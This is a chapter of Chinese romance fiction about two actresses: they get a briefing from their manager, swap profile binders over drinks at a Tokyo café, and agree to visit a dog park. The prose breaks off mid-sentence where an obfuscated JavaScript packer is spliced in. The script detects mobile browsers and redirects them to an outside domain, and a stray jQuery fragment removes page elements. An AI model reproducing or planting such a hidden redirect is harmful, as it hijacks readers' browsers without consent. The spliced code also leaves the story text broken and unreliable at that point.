林光卧室的门被推开了一半。她站在那里，身上还是昨晚那套简单的棉质睡衣，头发比平时更加蓬松凌乱，几根发丝不听话地翘着。她脸上带着被强行从短暂睡眠中拽出的懵懂，眼底有着无法掩饰的倦意和淡淡的青影，整个人像是被抽走了精气神，反应都慢半拍。她似乎是听到外面的谈话声，下意识地走出来查看，当看到客厅里的景象——眼眶发红的星野，以及西装革履、表情严肃的经纪人山倉幸子时，林光显然愣了一下，睡意被惊醒了大半，下意识地想退回房间。
“井上小姐，你醒了正好。”山倉幸子反应极快，立刻叫住了她。她的目光在林光明显缺觉的脸上停留了一秒，那眼神锐利依旧，却似乎比看星野时多了一丝不同的考量——像是评估一件需要小心使用的精密仪器。“我正在和夜海沟通接下来几天的工作安排，涉及到你们两人的部分，你也需要了解一下。”
星野夜海的心跳莫名漏了一拍。她看着林光那副刚睡醒、毫无防备的样子，再对比幸子小姐一丝不苟的职业装和自己狼狈的睡衣，一种强烈的尴尬和“被撞破”的感觉涌上来。她下意识地蜷缩了一下脚趾，恨不得找个地缝钻进去。尤其是，林光此刻的疲惫很大程度上是因为自己昨晚的折腾。
林光闻言，停住了脚步。她轻轻带上门，但没有立刻走过来，而是先抬手用力按了按自己的太阳穴，仿佛这样能驱散一些昏沉。然后她才从餐桌旁搬了凳子，在茶几对面稍远的地方坐下，微微颔首，声音带着刚睡醒的微哑和努力维持的平静：“好的，山倉小姐。请说。”她能感觉到自己的大脑像生了锈的齿轮，运转缓慢，但仍在强迫自己集中注意力。
幸子小姐言简意赅地将《Stage&Rhythm》杂志采访拍摄的主题、核心内容和要求向林光复述了一遍，也再次重点强调了专业性的展现和两人互动时需要营造的“默契与欣赏”感。她的语速平稳，条理清晰，没有任何多余的废话。
林光安静地听着，偶尔因为困倦而眼神飘忽一瞬，但很快又强迫自己聚焦，轻轻点头表示明白。她的目光偶尔会扫过坐在沙发上、显得异常局促的星野，但并没有过多停留。
“大致情况就是这样。”幸子小姐总结道，然后看向林光，语气比对待星野时稍微缓和些，但依旧专业，“井上小姐，音乐专业方面的阐述是你的强项，我相信你能处理好。需要注意的是和夜海的互动，在镜头前要放松、自然，展现出你们在专业领域彼此启发的那种状态。”她特意放缓了语速，似乎是在照顾林光此刻的精神状态。“具体的一些注意事项和问题清单，我稍后邮件发给你。你可以……稍晚些再看。”
“我明白了，谢谢山倉小姐，我会仔细阅读并准备的。”林光的回答清晰利落。
交代完一切，幸子拿起包走向门口。换鞋时，她最后回头看了一眼眼眶依旧发红的星野，和坐在对面努力对抗睡意、却依旧挺直背脊的林光，语气终于软化到极致，像一声叹息：
“都好好休息。天塌不下来，有我在。”
她走到玄关，穿上高跟鞋，打开门，最后留下一句：“期待你们的表现。”然后便像一阵风一样离开了公寓。
公寓门“咔”的一声轻响关上，将内外隔绝成两个世界。
客厅里瞬间陷入一种微妙的寂静。
只剩下星野夜海和林光两个人。一个穿着睡衣坐在乱糟糟的沙发里，一个穿着睡衣坐在对面刚被工作砸醒。空气中漂浮着经纪人留下的工作压力、未散的早餐粥香，以及一种无所适从的尴尬。
星野张了张嘴，想说点什么——为昨晚的事道谢？为吵醒她道歉？为突然砸下来的工作表示无奈？但所有话都堵在喉咙里，最后只化成一句干巴巴的：
“……你醒了？粥……还在锅里温着，幸子小姐带了很多吃的，你可以去……”
林光沉默了几秒，才轻轻“嗯”了一声。她抬手略显随意地整理了一下睡乱的头发，这个动作让她看起来比平时更接地气，也更脆弱。
“听到了一些。”她低声说，像是自言自语，又像是在对星野解释自己为什么会出来，“工作的事情，还有经纪人和你对账什么的……。”
她没有看星野，目光落在空处，似乎还在消化刚接收到的信息和自己残存的睡意。然后，她轻声说：“我觉得……事情或许没有幸子小姐描述的那么可怕。”
她停顿了一下，目光落在星野仍然有些苍白的脸上，继续说道，“舆论总是寻找新的焦点。把专业的工作做好，新的形象立住了，旧的印象自然会慢慢淡化。”
说完，她便转身，径直走向了卫生间，轻轻关上了门。
留下星野一个人蜷在沙发里，听着卫生间里隐约传来的水声，心里乱糟糟的，既有面对未知工作的压力，也有一种难以言喻的、因为林光刚刚那副与平日截然不同的苏醒模样而带来的微妙悸动。
她是在安慰我吗？
阳光已经变得明亮，透过窗户洒在清理干净的客厅里。星野夜海坐在化妆镜前试图用轻柔的底妆掩盖宿醉的疲惫，但眼底的细微红血丝依然若隐若现。等她收拾完毕，林光也从房间出来了，她同样换下了睡衣，换了单衣的她头发整齐地束在脑后，恢复了平日的清冷感。她手里拿着山倉幸子留下的那两个活页夹。
“星野前辈，”她开口，声音平静，“山倉小姐留下的资料，我认为我们需要过一遍，你今天有空吗？”她顿了顿，补充道，“公寓里……可能不是特别适合工作。我知道表参道附近有一家不错的咖啡馆，不会被人打扰，你觉得怎么样？”
这听起来完全像一个出于工作效率考虑的、无可挑剔的建议，星野恨透了刚才房间里令人窒息的沉默，立刻点头：“好，好的，那换身衣服我们现在就出门？”
“好，稍等。”
星野换好衣服从房间里出来的时候，林光正在往一个黑色的机能风背包里装要带走的文件，她穿的军绿色派克服看起来面料硬挺，底下搭配的黑色美利奴半领羊毛衫随着动作将好看的锁骨若隐若现在星野的视线中。听见星野房门的动静，林光转身，星野穿着及膝燕麦色的羊绒大衣，栗色的浅灰色针织衫的领口，是一条纤细的铂金项链，
“前辈的文件我整理在这边了，你不背包的话，可以都放在我的包里。”
“不用不用。”星野转过身，一个校园风十足的双肩包冲着林光敞开，“谢谢小后辈。”
乘着林光的黑色机车，她们没有选择喧闹的主干道，而是拐进了南青山旁一条种满榉树的小巷。林光推荐的CaféKitsuné就隐藏在这里，白色的外墙，巨大的落地窗，室内是原木与金属混合的日式现代风格，空气中弥漫着优质咖啡豆和新鲜烘焙糕点的香气，背景音乐是悦动感十足的法国电子乐。或许是因为圣诞前后的关系，本应该客稀的早上，店里的好位置也被占了大半，她们选了最后一个靠窗的角落位置坐下，阳光透过百叶窗在地板上切割出明暗交错的光带。
“前辈好像，不是很喜欢喝甜的是吗？”帆布围裙的店员站在二人落座的餐桌前，林光的目光扫过菜单，“用这家店清爽柠檬特饮来开启这一天或许是个不错的选择？”
“啊……好、好的。就听你的。”被后辈如此自然又精准地说出自己的喜好，星野还来不及脸红，便迅速翻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403824|184388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找出了经纪人给的资料，像是开卷考试般，想要迅速找到林光饮食喜好，“看来得为你选一款……无咖啡因的饮料才行。”
“是的。”林光挑起嘴角，自己的隐私被人捧在手心仔细阅读的感觉让她感到新奇，“咖啡因过敏，这是我少数比较麻烦的特点。”
“嗯……焙茶拿铁怎么样？”
“听你的。”林光点点头。
“清爽柠檬特饮和焙茶拿铁，好的，请稍等。”
饮品上来后，林光那杯茶配了一小块可爱的狐狸形状曲奇。短暂的沉默弥漫开来。林光翻开属于星野的那本活页夹，目光扫过，然后抬起头，看着星野，用一种近乎学术讨论般的平静语气开口：
“资料上说，您记台词能力很强，但生活琐事容易忘记。”她像是在陈述一个客观事实，“需要设定提醒吗？比如手机日历定六个闹钟？”
星野的脸瞬间红了，尴尬地摆摆手：“啊……那个，我只是有的时候太忙，会忘记一些小事。”她感觉像是在被面试。
“能否举几个例子方便我理解？”林光含着笑看她慌张，
“比如……”星野的脸藏在活页的背后，“因为要看的台本和剧本太多，忘记把买回家的雪糕放进冰箱……之类的。工作方面的话，大概就是忘记幸子让我什么时候发工作推文吧。”
“原来如此。”林光点点头，没有坚持，目光继续下移：“擅长模仿，能演奏多种乐器……比如？”她适时地流露出一点恰到好处的好奇，让问题不那么像盘问。
“嗯……钢琴、吉他算是能弹一些简单的曲子，小提琴只会拉一点点……”星野稍微放松下来，用小勺轻轻搅动着茶水，“都是以前为了些漫改的音乐舞台剧角色学的，不是很精通的。”
“很厉害。”林光真诚地评价了一句，然后翻到“喜好”一栏，念出声，“不爱甜口，爱吃酸味的东西，喜欢梅子，喜欢可爱动物，放松时玩音游但……嗯。”她适时地停住了“很菜”两个字，只是抬起眼看了看星野。
星野恨不得把脸埋进印着狐狸logo的茶杯里：“……那次是意外！在节目上打《太鼓达人》的鬼级难度根本就是反人类！”
轮到星野了。她有些紧张地翻开林光的资料本，深吸一口气，开始“提问”：
“林光小姐……资料上说，你握鼓棒用的是……爵士握法？我听说很少人还在用这种握法打鼓。”她挑了一个看起来最安全专业的问题。
“那时我的老师授课的时候问有没有人想学，10个人里面只有我一个人举了手。”林光伸出手，虚空做了个手指夹鼓棒的姿势，“但我其实两种都擅长，只不过会更喜欢那样的表演风格。”
“真好啊，每次我想认真学乐器，都会止步于入门后的进阶。”星野看着墙壁上的小狐狸失神，“我好像……一直都很忙。”
对话就这样慢慢展开。她们一边喝着无咖啡因的茶，一边像核对工作清单一样，将资料上的条目一条条转化为略带尴尬却又忍不住笑出声的对话。冰冷的文字渐渐变成了对眼前这个活生生的人的具体认知。
喝完茶，林光合上活页夹：“差不多就这些了。”
星野看着窗外小巷里走过的穿着时髦的行人，以及远处若隐若现明治神宫的森林，忽然生出一股勇气，脱口而出：“那个……资料上说，你也很喜欢动物，代代木公园好像有个很大的狗狗广场……要不要……去看看？”她立刻补充，“就当是……休息日的一点点临时工作？离这里也很近。”
林光看了她一眼，似乎觉得这个提议有点天马行空，但并没有露出厌恶的表情，“可以，上车吧。”